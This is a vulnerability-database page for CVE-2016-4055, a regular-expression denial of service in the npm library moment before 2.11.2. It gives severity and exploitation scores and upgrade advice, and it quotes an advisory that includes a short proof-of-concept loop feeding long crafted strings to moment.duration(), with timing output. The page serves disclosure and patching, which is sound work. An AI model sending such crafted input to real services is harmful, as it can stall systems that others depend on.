Feed
6.5MEDIUM

CVE-2016-4055Regular Expression Denial of Service in moment

A medium-severity vulnerability reachable over the network, needing low privileges and no user interaction. EPSS estimates a 10.2% chance of exploitation in the next 30 days. A fixed version is named.

Exploited in the wild
Not in KEV
EPSS
10.2%
percentile 96%
Priority
28/100 medium
how it is computed
Fix
Named by a source
CVE published 23 Jan 2017

Reference

None of the "Needs attention" rules apply right now.

EPSS 10.2% (+10) · Network attack vector (+10) · No user interaction (+5)

Immediate actions

  • moment (npm): upgrade to 2.11.2 or later on your release line.

Who should check

  • moment (npm) pkg:npm/moment

    • Affected< 2.11.2Fixed in2.11.2OSV (GHSA-87vv-r9j6-g5qv)

Confirmed facts

CVSS
6.5 MEDIUM (version 3.0)
Score from
GitHub Advisory Database (GHSA-87vv-r9j6-g5qv)
Attack vector
network
Attack complexity
low
Privileges required
low
User interaction
none
Weakness
CWE-400

Unknowns

  • We show one CVSS score. Other sources may score this CVE differently.

Advisory text

Quoted from the source advisory (untrusted)Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`. ## Proof of concept ``` var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str) var end = process.hrtime(start); console.log(end); } ``` ### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ``` ## Recommendation Please update to version 2.11.2 or later.

Update history

  • 25 Nov 2026Exploitation more likely 9.9% → 10.2%

References

Sources

This page is our own presentation: records are shortened, normalised and merged. Licences

Last checked: kev 70 min ago · osv 56 min ago · nvd 89 min ago · epss 56 min ago · JSON · ask via MCP: explain_vulnerability

Also known as GHSA-87vv-r9j6-g5qv